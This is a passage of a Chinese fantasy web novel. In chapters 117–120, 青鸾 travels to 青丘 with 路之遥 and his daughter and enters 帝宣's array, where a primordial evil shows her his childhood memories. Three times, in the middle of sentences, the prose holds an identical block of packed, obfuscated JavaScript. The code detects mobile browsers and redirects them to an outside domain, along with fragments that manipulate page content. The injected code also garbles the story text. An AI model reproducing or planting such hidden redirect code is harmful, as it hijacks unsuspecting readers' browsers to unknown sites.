心火余温尚存,它温暖着他微凉的手指,也终于抚去了他眉间的阴郁。 117. 芙蓉浦 这应当是青鸾睡得最踏实的一晚。 睁开眼的一瞬间她甚至有些恍惚,不记得自己此刻身在何处。 朝玦支着脑袋趴在她的床边,眨巴着水汪汪的眼睛一动不动地注视着她,见她醒了之后笑着拍了拍手:“姐姐你终于醒啦,爹爹不许我叫醒你,可是我好无聊啊,我想和你一起玩儿!” 青鸾反应了一会儿:“朝玦?” 想起来了,她在寻帝宣的路上遇着了路之遥,现在他们要一同前往青丘。 起身揉了揉脖子,她将目光落到朝玦精致的辫子上:“这辫子是谁给你编的呀?” “当然是爹爹呀!”朝玦炫耀地把脑袋凑过来:“好看吧?爹爹可厉害了,他还会许多别的样式呢。” “好看,太好看了……”青鸾再一次抽了抽嘴角,她觉得自己又在无意中发现了路之遥不为人知的一面。 朝玦牵起青鸾的手,带着她往屋外走:“我们快走吧,我还从来没去过青丘呢,以前爹爹去青丘从来不带我,这次他看在你的面子上终于答应带上我了。我们快走快走,我怕他突然反悔不肯带我了……” 青鸾捕捉到关键信息:“什么叫看在我的面子上?” 朝玦顿住步子,抬头望着青鸾,不好意思地吐了吐舌头:“我跟爹爹说你很喜欢和我待在一起,这次去青丘也一定希望我陪着你。你看你跟我在一起的时候多开心,要是爹爹他不带我去,你会不开心的……” “原来如此。”青鸾促狭地眯了眯眼,难得起了逗弄小孩儿的心思:“你就这么打着我的旗号骗你爹爹带你去青丘,有没有想过许我什么好处呀?” 朝玦眨了眨眼:“那姐姐你想要什么好处呀?” 青鸾学着她的样子对她眨眼:“唔……我瞧着你头上的这个辫子委实好看……” 朝玦反应极快,不待青鸾说完便举手道:“那我带你去找爹爹,让他也给你编一个!” 青鸾啊了一声:“那、那倒也不必。”她伸手点了点朝玦的额头,“真是人小鬼大,你便像上次一样给我编一个花环吧。” 朝玦捂着自己的额头冲青鸾撅嘴:“我才不小呢,我今年就满一百岁了!” 青鸾又啊了一声:“还真是看不出来。” 眼前这小姑娘看起来至多不过七八岁的模样,若她实际年龄已经百岁了,相貌却还是这般幼小,那么她的母亲一定不是凡人。 想到这里青鸾不由心生好奇,她犹豫了一下还是开口问道:“朝玦,那你娘亲是谁呀?” 朝玦盯着青鸾认真地想了想,然后皱了皱眉头,就在青鸾以为她要张口说话时,她歪了歪脑袋继续想。 青鸾:“……” 这个问题需要想这么久吗? 青鸾琢磨了一会儿,好像从她第一次见到路之遥开始,他便一直独自带着朝玦,朝玦的母亲似乎从未出现过。 此刻见这孩子苦思冥想了半天也想不出自己的母亲是谁,青鸾恍然大悟,难不成她的母亲早已经不在了? 因为母亲去世得太早,所以路之遥只能独自拉扯孩子长大,并且他还刻意不在孩子面前提起她的母亲,为的就是不让孩子伤心,让她能无忧无虑地成长。 越想越觉得这个猜测很合理,再望向朝玦时,青鸾的眼神里充满了愧疚。 她觉得自己真不是人,怎么张口就问了这么个令人伤心的问题。 咬了咬下唇,她一边懊恼自己的莽撞,一边生硬地转移话题:“别想这个了,我们快出发去青丘吧。对了,那只九尾狐醒了吗?你快带我去看一看……” 说着她牵着朝玦的手推门往外走,然后在推开门的一瞬间看到迎面向她走来的路之遥。 路之遥抬起一只手正准备叩门,见到青鸾带着朝玦急匆匆地跑出来,他放下手勾了勾唇角:“老早就听见朝玦的声音了。” 他将目光移到朝玦身上:“闹了半天也不出来,你们在说什么呢?” 朝玦扑到路之遥怀里:“姐姐问我的娘亲是谁,可我不知道我的娘亲是谁。” 她仰起头眼巴巴地望着路之遥:“爹爹,我的娘亲是谁呀?” 路之遥怔了一下,然后转过头悠悠望向青鸾,平静如水的眸光底下隐隐泛着涟漪。 青鸾啪的一声闭眼捂脸,逃避地别过头去。 一阵沉默后,路之遥的声音响起。 他一本正经地对朝玦道:“你没有娘亲。” 朝玦疑惑地嗯了一声:“可为什么别人都有娘亲呢?” 路之遥面不改色:“有的人可以没有娘亲,比如你。” 朝玦哦地一声点了点头,毫不犹豫地接受了路之遥的这个解释。 青鸾全程不敢插话,依旧以手捂脸,面色一阵白过一阵。 她觉得自己简直造孽,就因为鲁莽地问了那个问题,现在居然逼得孩子她爹睁着眼睛说瞎话。 路之遥哄完朝玦之后,再次将目光落到青鸾身上。 “哪里不舒服吗?”他好心地问。 青鸾使劲儿摇头。 “那就喝药吧。”说着路之遥迈进屋里,将一直端着的那碗药放下,示意青鸾趁热喝。 青鸾转过身一头雾水地望着那碗药:“我身体挺好的,没有哪里不舒服,为什么要……” 话没说完,她看到朝玦抬手指了指她的脸。 她抚上自己的脸颊,感受到已经结疤的伤口传来一阵浅浅的刺痛,这才想起来她的脸被陌浅所伤,离开东海前路之遥曾说她还需要上最后一次药。 她早就把这件事抛在脑后了。 没想到路之遥还记着。 垂首望了一眼还在咕嘟冒泡的绿色药水,她咽了口唾沫:“其实我的伤已经好得差不多了,就算脸上留个疤我觉得也没什么……” 路之遥不说话,只是安静地注视着她。 显然这极具压迫感的注视比说什么话都好使,青鸾闭上嘴犹豫了一下,然后乖乖地捧起药一饮而尽。 路之遥移开了视线,让她坐下。 青鸾赶忙照做,与路之遥相对而坐,听话地仰起脸等着他给自己上药。 这场面看得朝玦噗嗤一笑。 青鸾望她一眼:“你笑什么?” 朝玦冲她做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024254|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个鬼脸:“姐姐怎么跟我一样,非要等爹爹不高兴了才肯乖乖吃药?” 青鸾满脸黑线,敢情路之遥这是把对付女儿的招数使在了她身上。 撇了撇嘴,她反击道:“我那是感恩他辛苦寻药,才不是像你一样害怕你爹爹生气呢。” 带着凉意的指尖在这时抚上她的脸颊,她轻轻吸了吸鼻子,嗅到药膏的清香。 路之遥为她上药的动作很轻柔,他神情专注,并没有理会青鸾和朝玦的拌嘴。 他涂药的速度很慢,似乎是生怕弄疼了她,指尖拂过伤口时带来的酥痒令青鸾忍不住想笑。 她悄悄将目光移到路之遥身上,端详了好一会儿,突然道:“我觉得你对我很好。” 路之遥手上的动作一顿。 青鸾也是一怔,然后再次尴尬地咬了咬下唇,在心里骂自己又脑子一热说什么鬼话。 却听路之遥问:“有武罗神君对你好么?” 青鸾:“什么?” 路之遥收了药膏站起身来:“在青要山住的那些日子,帝骁他对你好吗?” 虽然不明白路之遥为何会突然这样问,但青鸾还是认真回答:“说不上好,也说不上不好。” 路之遥目光幽深:“这是何意?” 青鸾笑了笑:“若说他对我好,就不会将我拘在青要山中,不许我学法术,也不许我离开他半步。若非让我前往空桑与东海也是他计划中的一环,恐怕到现在我也没有能力离开青要山。” 路之遥也笑了笑,只是那笑容里的笑意比青鸾浅了许多:“他剥夺了对于你而言弥足珍贵的自由。” “是呀!”青鸾点头,随即又道:“可若说他对我不好……” 回想起与帝骁在青要山中相处的点滴,她突然觉得那也是一段颇为久远的回忆,回忆中的她与帝骁都仿佛被雾气笼罩,朦朦胧胧看不真切。 但心中的情绪始终是真切而又分明的。 此刻想起这个已经属于回忆中的人,她发现自己心里并不全是怨恨。 “其实日常中他都对我挺好的。”她说:“我化形之后见到的第一个人就是他,他教我如何用腿走路,如何用手吃饭,如何张口说话,如何与其他人打交道。” “我对这个世界最早的认识就是来源于他。” “大多数时候他都很严肃,世人皆知青要山主武罗神君向来赏罚分明,但有时候我犯了错他反而会替我遮掩,甚至代我受过。” 她想起当初自己杀了榆次山神,帝骁代她受天罚之刑时的模样。 披着满肩寒霜的他连嘴唇都变得苍白,归来时刻意避开与她接触,生怕天雷余威伤着了她。 “我受伤时,他其实也会像你一样为我上药。但他比你严厉多了,平时他虽然不大爱说话,给我上药的时候却会喋喋不休,责骂我太不小心,就在青要山里也能伤了自己……” 说到这里她的声音不自觉有些低落。 路之遥似乎是听不下去了,皱着眉头打断了她:“行了,药上好了,出发去青丘吧。” 说完他转过身,头也不回地走了出去。 118. 芙蓉浦 青鸾愣在原地。 她这时才反应过来,自己似乎是说得太多了,她与帝骁的往事关路之遥什么事? 为什么每次面对路之遥她都会变得如此迟钝? 她有些苦恼。 接下来朝玦说的话令她更加苦恼:“我能感觉到,爹爹非常、非常、非常生气。” 青鸾抬头注视着路之遥的背影:“你是怎么看出来他非常、非常、非常生气的?” 朝玦不说话了,转而用同情的目光望着青鸾。 青鸾继续问:“话说回来,他生什么气啊?他为什么生气呢?” 朝玦目光里的同情之意更盛,只不过这次不是同情青鸾,而是同情她那可怜的爹爹。 “你现在还不明白。”她拉着青鸾的手跟上路之遥的步伐,语气故作深沉:“等以后你就明白了。” 青鸾满头问号。 虽然她始终不理解路之遥到底为什么生气,但在去青丘的路上她倒也意识到朝玦的判断并没有错。 路之遥的确是在生气,而且气得不轻。 令青鸾没有想到的是,路之遥生闷气的具体表现居然是阴阳怪气。 比如他们在经过白民国与青丘国交界的一片密林时,青鸾感叹了一句此地树木真是枝叶繁茂,刚感叹完便听见路之遥冷哼一声道:“此地的草木难道还能比青要山中的繁茂?” 青鸾怔了一怔,老实回答:“那倒没有。” 路之遥:“……” 一阵沉默过后他的脸色更阴沉了。 再比如刚刚进入青丘国界路过大名鼎鼎的青丘山时,青鸾见到山南阳面玉石遍布,山北阴面满是青雘,又一时心生感慨:“没想到遥远偏僻的大荒之中,竟还有盛产玉石涂料的山脉。” 话音刚落路之遥的冷哼声便传了过来:“再怎么盛产玉石涂料,想必也比不上青要山物产丰盛。” 青鸾想了想,正要点头称是表示赞同,却被身旁的朝玦一把拦下。 朝玦紧紧攥住青鸾的胳膊,一副恨铁不成钢的表情:“姐姐你可别再说话了,再气爹爹我怕他忍不住把这座山炸了。” 青鸾不解,小声问她:“可我没有惹他生气啊,他炸这座山做什么?” 朝玦欲言又止,她显然是词汇有限,无法把眼前这个修罗场同青鸾分析清楚。 青鸾见她说不出个所以然来,也就不再追问,转而望向路之遥,认真地打量着他的背影。 朝玦好奇地凑过来:“你盯着爹爹的背影看什么呀?有什么好看的吗?” 青鸾摇摇头:“我看到了愤怒,他确实是气得不轻,身上的怒气都快凝为实质了。” 她又不是傻子,当然看得出来路之遥在生气,正因如此她一路上都在附和着他,也没有因为他的阴阳怪气而拒绝接他的话。 问题是他到底因为什么生气?他在气什么? 为什么她努力接他话句句有回应他反而更生气了? 她不理解。 走出青丘山便算是真正踏入青丘国界了,这一路上青鸾都不再开口说话,路之遥也没有机会继续阴阳,若非朝玦在夹在两人中间叽叽喳喳地说着话,气氛简直要压抑沉闷得如同一潭死水。 便连九尾狐都感觉到了气氛的紧张,夹着尾巴小心翼翼地走在两人身旁,待到平安走出青丘山,真正迈入青丘地界后,它直接如脱缰的野马一般撒腿就跑。 “跑得可真快啊……”青鸾感慨。 不待路之遥张口,朝玦立马接话:“要我看青要山中就没有什么狐狸能跑得有这只九尾狐这么快。” 青鸾愣了一下:“的确没有……” 事实上青要山中根本就没有狐狸。 她一头雾水,这父女两个人莫名其妙跟青要山较什么劲儿? 路之遥沉默地望了朝玦一眼。 朝玦吐了吐舌头。 “走吧,想要找到长辉神君,去供奉他的庙宇问他的信徒是最简单有效的方法。”路之遥拂袖继续向前,领着青鸾去寻神庙。 青丘国与青鸾想象中大不一样。 须知青丘国都最初并不建于此,四海八荒赫赫有名的青丘山与青丘国其实也没有什么关系。 青丘国君之所以举国搬迁至大荒,连海内的国都也一并舍去,都是拜空桑之战后的那场大雪所赐。 青鸾原本以为青丘国地处荒凉,又是在几百年前狼狈搬迁,国内应当并不繁华。 却没想到青丘之国物产丰饶,气候得宜,连绵起伏的山峦中除了繁衍着各种各样的妖怪种族,还居住着一些人类。 这里不仅不荒凉,甚至称得上繁盛。 至于长辉神君庙,更是随处可见,基本每隔一条街便会有一座神庙。 神庙或大或小,但不论庙宇大小,其中供奉的长辉神君像俱以金身塑造,香火不断,庄严无比。 自进入青丘地界之后,路之遥便牢牢牵着朝玦的手,不许她到处乱跑。 然而此地繁盛,有许多新奇的玩意儿吸引着朝玦的注意,她却只能老老实实跟在路之遥身边,一步不能离,难免气闷。 直到行至神君庙前她都苦着个小脸。 可惜路之遥并不买账,仍然牵着她的手不肯放。 青鸾从他的举动中意识到青丘并不似他们肉眼见到的这般平静安宁,否则路之遥也不会如此紧张。 再想到出发前朝玦曾言,以前路之遥从来不肯带她进入青丘,想来也是因为青丘并不安全的缘故。 进入神君庙后,她注视着高台上帝宣的金身发了会儿呆。 帝宣生得文弱,容貌比女子还要秀丽,因常年耗费灵力钻研阵法,整个人看起来瘦削苍白,便连天君都曾嫌他不够英武,哪里如这金身像般虎背熊腰、魁梧健壮? 想必是因为他拯救大荒子民于水火之中,在这些人的想象里他便是这般魁梧奇伟的模样吧。 思索之际,一位老丈挎着篮子踏入殿中,在神像前虔诚进香,闭上眼睛念念有词:“祈望神君庇佑,大荒魔气不侵……” 待他祈祷完毕,青鸾上前问道:“老伯,请问大荒当真出现过魔气吗?” 那老丈眯着眼打量了青鸾一番:“你们不是大荒中人,是从海内来的吧?” “正是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034147|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青鸾点了点头:“我们听闻大荒曾有魔族始祖之息现世,所以来此一探究竟。” 老丈长长地叹了口气:“丫头,你们既是海内之人,跑到这里来做什么?这里可不是什么好玩的地方,几百年前当真是有始祖之息现世的,若非长辉神君前来镇压,恐怕这里早已变成了白骨遍地的修罗地狱。” 青鸾连忙追问:“敢问老伯,你可知晓那始祖之息最早在青丘何处出现?长辉神君又是在何处镇压的它?” “就在青丘国都的最中央啊,那原本是青丘最繁华的地方,可是现在已经无人再敢涉足了。”那老丈冲青鸾摆了摆手,苦口婆心劝她:“姑娘,我劝你也别去。虽然长辉神君镇压邪祟的法阵仍在,可那底下压着的毕竟是始祖之息,实在是太危险了。” 路之遥在一旁问道:“既然此地如此危险,你们为何不撤离?” “热土难离啊,我们是大荒的原住民,与那半路搬迁至此的青丘国人不一样。这是我们世世代代生存之地,哪能说走就走?”老丈又叹了口气,不过他的声音里倒是饱含希望:“天君曾亲临此地,亲口告诉过我们九重天宫会有解决之法,让我们不必过分恐慌,只要别靠近那镇压魔气的法阵就好。再说了,虽然长辉神君自昔年布阵之后再也没有现身,但他神息尚存,至今仍在庇佑着大荒子民呐。” 听闻法阵仍在,帝宣神息尚存,青鸾不由心中一喜。 这说明帝宣尚未陨落,即便他情况不妙,也至少留有残魂于世。 只要灵魂没有彻底湮灭,总会有复生之法。 路之遥听完却是微蹙眉头,嘴角扬起一抹冷笑。 九重天宫会有解决之法,这天君老儿扯起谎来真是越来越娴熟了。 “我们走吧。”得到了想要的信息,青鸾立马同那老丈告辞,转身离开神庙,马不停蹄地朝他所说的国都最中央走去。 果如老丈所言,越靠近国都的中心地带,人烟反而越是稀少。百年间不曾有人靠近的街市楼阁,早已被草木覆盖。 青鸾行至此处便放慢了步伐。 她已经感受到了帝宣的气息。 他留下的法阵就在这附近。 “寻到帝宣之后你打算如何?”路之遥突然问。 “确认他的状态。”青鸾回答得很快:“然后想办法带他离开。” 路之遥颔首沉默,没有说话。 青鸾吸了口气,自顾自地道:“我知道以我的能力根本无法对抗始祖之息,但我一定要想办法救帝宣出来,我一定要带他离开。” 路之遥沉默了好一会儿才意有所指地问:“你相信他是被困在了自己所设的阵法中?” 青鸾停下步子。 “你想说什么?”她苦涩地笑了一下:“如果不是被困在了法阵中,那这么多年他都不曾现身的原因就只有一个。” 停顿了一下,她有些艰难地道:“我不愿意相信他真的已经陨落了。” 路之遥又问:“为了一个并不确定的猜测让自己身涉险境,值得吗?” 青鸾转头望他,眼眶已微微泛红。 她说:“值得的。” 119. 芙蓉浦 路之遥不再追问,也不再试图阻止她。 三个人继续安静地穿梭在覆满植被的古老街市中。 属于帝宣的气息越来越强,青鸾甚至感应到了他的神息。 那老丈所言非虚,帝宣居然真的神息尚存。 青鸾克制住内心的激动,顺着那股熟悉的气息往前走,然后在一片朦朦胧胧溢满白雾的区域停下。 她迟疑地伸出手,轻轻触碰了一下弥漫在空中的雾气。 那是帝宣曾经设下的法阵所弥留的气息。 诚如大荒子民所言,长辉神君在几百年前布下的法阵至今仍在守护着大荒。 良久,青鸾长长地吐了一口气:“他就在这里。” 路之遥牵着朝玦站在她的身后:“你可想清楚了,踏进这个法阵之后,你不一定能见到帝宣,却一定会碰上始祖之息。” 青鸾点了点头,在进入法阵之前她最后回首望了路之遥一眼:“谢谢你。” 其实她也并不确定,自己踏入阵中会遇见什么,还能不能活着出来。 她已经下定了决心,即便接下来挡在她面前的是死亡,她也要去闯一闯。 但是在此之前,总要对一路照拂她的人道一声谢。 然后她在路之遥与朝玦的注视中回过头,消失在了白色的雾气中。 青鸾方才的那一声道谢说得宛如遗言,便连朝玦都看得出来她下了多大的决心,她抬起头拽了拽路之遥的衣袖:“爹爹,你为什么不跟她一起进去保护她呀?” 路之遥的声音似乎也染上了一些雾气,莫名的有些潮湿:“她专程来见帝宣,我如何同她一起。” 朝玦撅了撅嘴:“我要是你就跟着她一起进去,说什么也不能让她单独跟别人待在一起。” 路之遥额角一抽,垂首望着朝玦:“从哪儿学来的这一套。” 朝玦哼了一声不说话了,以沉默表达对路之遥的不满。 路之遥也不再说话,沉默地望着青鸾消失的那个方向。 体内的星辰之力如暗流涌动,他让自己进入战斗状态,紧盯着法阵中始祖之息的动向。 一旦青鸾在其中遭遇任何不测,他随时都能出手。 朝玦在旁边望他一眼,叹一口气,再望他一眼,再叹一口气。 她实在是为自家爹爹感到头大,照这个情形发展下去,倘若那个什么长辉神君当真跟着青鸾一起出来了,那就真没爹爹什么事儿了。 转头望着眼前朦朦胧胧的白雾,她的小脸布满了忧色。 与此同时踏入那片白雾的青鸾在蓄满了浩荡神力的法阵中沉沉浮浮,她静下心来感受着帝宣的气息,很快判断出自己此刻所处之阵居然就是生灭大阵。 她微微睁大了眼。 帝宣竟然成功了。 这个生灭之阵中流淌着的磅礴生机是青鸾以前从未在帝宣的法阵中感受过的。 他曾经告诉她,他意欲修改生灭之阵,想要舍弃毁灭的杀意,将生阵的力量发挥到极致。 原来他是想要利用此阵与始祖之息抗衡。 原来他成功了。 眼前的这个生阵已经衍化了几百年,其中不仅蕴含着帝宣的神力,还流转着源源不断的生机,帝宣尚未陨落的可能又多了一分。 青鸾按捺住内心的狂喜,仔细地感受着帝宣的气息,在茫茫大雾中深一脚浅一脚地移动着。 越靠近法阵的中心,她所感受到的气息便越繁杂,其中除了帝宣的神力以及始祖之息隐隐约约的魔气外,竟然还掺杂着一丝大妖的妖气。 此处怎么会有如此强大的妖气? 她的脑海中瞬间警铃大作,看来这里的情况并不如她想象中那般乐观。 便在她全神戒备之时,一道声音在她的脑海响起。 “你就是青鸾?” 青鸾下意识四处张望,想要寻到声音的来源,不过很快她便意识到,这个声音仿佛并不是从外界传来的。 “你很聪明,没错,我就在你的身体里,我就是你。” 青鸾停住步子,冷静下来思索了一阵:“你是始祖之息?” 似乎是没有料到她这么快就能猜出自己的身份,那声音沉默了一会儿才道:“你果然很聪明。” 青鸾皱了皱眉。 这始祖之息装神弄鬼绕着弯跟她说话,还一个劲儿地夸她做什么? “丫头,你是我苏醒之后见到的为数不多的聪明人。”始祖之息的声音继续在她的脑海中响起:“你想不想知道为什么我方才说我就是你?” 青鸾语气冷漠:“不感兴趣,帝宣在哪里?” 她这个反应令始祖之息又沉默了一阵。 这小丫头怎么不按常理出牌? 冷笑了几声后,始祖之息强行驱散了白雾,拖拽着青鸾往一个幻境沉去。 青鸾倒是没有挣扎,她知道挣扎也没有用。 找寻多年的答案已经近在眼前,现在是她几百年来距离帝宣最近的一次,越是关键时刻她反而越能保持冷静。 即便是在不断坠落的过程中,她也能冷静下来同始祖之息谈一谈筹码:“我知道你被帝宣镇压在此多年,我今天是来带他走的,待他走后再无神力维系法阵,你自可想办法脱阵。” 始祖之息似乎是被她勾起了兴趣,有样学样地同她讨价还价:“别以为我不知道,这不过是你的权宜之计,待你把那小子救走之后,恐怕不等我蓄力脱阵,便会和他一起合力再把我镇压个几百年。” 青鸾语气平静,甚至称得上诚恳:“不会的,我能感受到帝宣如今十分虚弱,他根本没办法使用神力。现在对我来说最重要的是为他疗伤,而不是继续镇压你,你有时间脱困。” 始祖之息颇感意外:“待我脱困之后,四海八荒便无人再能镇压我了,你为了救他一个人,不惜成为天下的罪人么?” “我来到这里只为了一件事,那就是救他出来,其余任何人任何事都不在我此刻的考虑范围内。”青鸾的声音里多了几分不耐烦:“这也是你千载难逢的脱困之机,你告诉我帝宣的所在,我带他离开给你脱困的机会,这很公平。” 身侧的白雾聚拢又散开,青鸾仍在不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048155|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下坠。 她没有等来始祖之息的回应,长久的沉寂过后,她坠落到了一处类似九重天宫的幻境里。 始祖之息的声音在此时再次响起:“丫头,我知道你有心火,你此刻能够这么有把握地同我讲条件,不就是自恃心火么?” “在谈条件之前,先看一看我为你准备的这一份礼物吧。” “帝宣一直在等你,这百年间我与他共存于此,闲极无聊把他的记忆翻了个遍。” “我知道你们之间的关系,也知道你在意什么,更知道许多你所不知道的事情。” “看完之后你就会明白,为什么我会诞生于这个世界,你才会相信,我就是你。” 青鸾一遍又一遍地念诵着清心咒,可惜并没有什么用,始祖之息的声音自她的脑海中响起,宛如她的另一个人格,就像是她自己在与自己对话。 就在她被那喋喋不休的声音逼得逐渐暴躁之时,它突然安静下来,示意青鸾好好看看眼前。 眼前的九重天宫与青鸾记忆中的一般无二,它安静地矗立于无边的黑暗里,仿佛立于虚空,又仿佛在暗海沉浮。 天与地已没有什么分别,是浑然一体的幽暗,人间的太阳照不到这里来。 无边的寂静里,偶有一两声鲸鸣自头顶传来,青鸾仰头去看,却望不见记忆里其鳞若云的远古生物。 目之所及一片虚无,她此刻所处之地犹如海中的一叶孤舟,是距离凡界万丈远的空中楼阁。 青鸾知道这是何地。 这里是帝凌府邸,帝骁幼时和他母亲一起居住的地方。 她曾经尝试过窥探帝骁的记忆,但因他太过戒备,识海封闭坚如磐石,她每次都无功而返。 不过无论多么冰冷自抑的人,也总会有一些难以克制的情绪,这些情绪会在积年累月的压抑下变为执念,如同隐藏在海面之下的冰山一角,勾出暗沉记忆中连他自己也难以察觉的碎片。 青鸾看到过那些在他的识海中一闪而过的画面,知道这些年来一直纠缠着他的梦魇到底是什么。 在他如大雾弥漫般的灰暗识海中,唯一有色彩的画面便是她眼前的这座宫殿,他和他的母亲一起生活过的地方,成为久远记忆中海市蜃楼般的存在,不可触碰,但始终若隐若现散发着冰凉微光。 幻境中的青鸾认出了眼前这座宫殿,也认出了彼时尚且年幼的帝骁,他小小一个,正独自在宫宇回廊间穿梭,不知急着去干什么,脚下步伐飞快。 穿过了无数回廊,寻觅了许多地方,他终于在一个偏僻不起眼的院落里找了他要找的人。 居然是同样年幼的帝宣。 在看见幼时帝宣的那一刻,青鸾瞬间明白过来,这就是始祖之息所谓的她不知道的事情。 它将帝宣的记忆凝为了这个幻境,呈现在了她的眼前。 幻境中的帝骁在终年幽暗寒凉的天宫中跑了好大一圈,衣襟上都沾满了寒霜,便连眉毛上都结了一层厚厚的冰霜。 他焦急地注视着帝宣的背影,拽了拽他的衣袖:“哥哥,你真的要走了吗?” 120. 芙蓉浦 这一声哥哥喊得脆生生的,听得青鸾微微一颤。 她属实是没有想到,小时候的帝骁是这种风格…… 帝宣始终背对着他,无论帝骁多么可怜巴巴地拽他的衣袖也没有回头。 他的目光锁定在破落院墙角落的一朵白色野花上。 青鸾顺着他的目光望过去,盯着那朵白色的花看了一会儿,目光微顿。 随后她抬起头,仔仔细细地打量眼前这座小院。 巴掌大的院子里凌乱地散落着一些桌椅,似已常年无人居住,自然也就没人打理。 厚厚的仙尘覆盖在掉了漆的柱子上,落在缺了瓦片的屋檐上,若非这座小院位于九重天上,只怕早已被尘埃蚕食殆尽,化为一片废墟。 青鸾心中诧异,帝凌府邸居然还有这样一处荒凉院落,这地方是用来做什么的? 帝宣虽然不曾开口,但她看得出来,他似乎对这个地方很是留恋。 这又是为什么? 她再次将目光移到帝宣身上。 只见他始终盯着那朵白色的野花,似在沉思,又仿佛是在放空自己,淡漠的脸上没有任何表情,周身都笼罩着肃杀的气息。 眼前的帝宣完全不是青鸾记忆中的模样。 终于,在帝骁一声又一声的呼唤中,他淡淡地嗯了一声:“等下他们就来接我了。” 帝骁听到这个回复,眼泪一下子盈满了眼眶,他更加用力地拽住帝宣的衣袖,好像这样就能留住他:“哥哥,你能不能别走啊。你要是走了,这里就剩下我一个人了……” 帝宣却不耐烦地甩开了他。 他回过身注视着帝骁哭花了的脸,说出的话分明像是安慰,声音却比面色还要冰冷:“怎么是一个人呢,你还有你的娘亲。” 帝骁愣了一下。 他太小了,还体会不出帝宣话语间的恶意。 犹豫了一下,他上前两步,鼓起勇气再次攥住帝宣的袖口:“可我只有你一个哥哥,你要是走了我就没有哥哥了。” 帝宣这次没有甩开他,而是饶有兴味地观察着帝骁的表情:“可是帝凌神从来没有承认过我是他的儿子,你才是他唯一的孩子,你从来就没有过什么哥哥。” 帝骁又是一愣。 这回他终于感受到了帝宣的情绪,下一秒,他听到帝宣冷冰冰地对他说:“知道吗,其实我一直都很讨厌你。” 帝骁极快地抹了一把眼泪,他没有因为帝宣的这一番话而气馁,仰着脑袋倔强地说:“可是娘亲告诉我,你也是爹爹的孩子,你就是我的哥哥。” 又抹了把眼泪,他的声音里带着哭腔:“而且你一直都对我很好,我舍不得你,你为什么要这样说……” 帝宣冷呵一声,他始终没有开口,不再回应帝骁。 眼前这一幕看得青鸾皱紧了眉头。 这两个人与她记忆中的形象截然相反不说,此刻的这一番对话又是什么意思? 帝宣不是帝台神和焕鸢夫人之子么? 怎么又成了帝凌的儿子? 他同帝骁到底是什么关系? 在她的印象里这堂兄弟二人并没有什么交集,日常也不太能见到,若硬要说他们之间有什么关联,也不过是在旁人的议论里。 此刻两人相对而立,一个埋头啜泣,另一个冷眼旁观。 帝宣的厌恶不似作假,哪怕透过幻境青鸾都感受到了他眼中的寒意。 便在这时几名仙侍手持宫灯而来,他们驱散了凝结在小院中的寒霜,引着素娆进入院中。 见到母亲寻来,帝骁撇了撇嘴,终于哭出声来,揉着眼睛扑进素娆怀里。 青鸾本以为他是要同母亲告状,却没想到他哽咽着向母亲央求留下帝宣:“我舍不得哥哥走,母亲,能不能不让他走啊……” 素娆弯下腰揉了揉帝骁的脑袋,却没有回答他的问题。 她注视着倔强地挺直了脊梁的帝宣,朝他伸出手:“宣儿,走吧,他们来接你了。” 帝宣犹豫了一下,还是将手递到素娆手中,任由她牵着自己向院外走去。 离开之前他最后望了一眼这座破败的院落,将这里的一草一木印在心里。 年幼的他一遍又一遍在心中告诫自己,这是他和母亲一起生活过的地方,无论今后走得多远,都至死不能忘。 帝宣的心声在青鸾的心中响起,她听到了他在心里反复默念的声音,目光中泛起心疼。 始祖之息在这片幻境之中无形无相却无处不在,他仔细观察着青鸾的反应,适时地插上一句话:“没想到吧,帝宣也是帝凌的儿子,他同帝骁根本不是堂兄弟,而是同父异母的亲兄弟。” 帝骁的母亲被关进了龙渊之狱中,而帝宣的母亲曾和他一起生活在这座破落的小院,并且青鸾在帝宣的记忆中并没有看见他母亲的踪影,也不知她是何身份,如今又在何处。 深深地吸了一口气,她只觉得心中沉闷。 素娆一手揽着帝骁,一手牵着帝宣,跟随在持灯的宫人身后,穿行过方才帝骁经过的重重回廊,朝府邸之外走去。 九重天上终日无光,天宫中多用鲛油燃灯,日常出行也均有宫人持灯相照。 只是在一片荒芜的寂暗之中,那几盏微弱的灯光反而显出十分的萧索寒凉。 帝台神与焕鸢夫人就候在花厅里,见到帝宣之后,二人眼中皆是一亮。 帝宣年纪虽小却是身形挺拔,容貌阴柔却又不失俊朗,显然是随了他的生母,最关键的是他的眼中透出同龄孩子所没有的沉稳,一举一动都十分得体。 这样的孩子恐怕任谁瞧见了都会心生欢喜。 不知何故帝凌自始至终没有露面,他直接将过继之事扔给了素娆,由她代为出面。 素娆将仍在哭啼不休的帝骁交给身后的宫人,牵着帝宣的手走向帝台神。 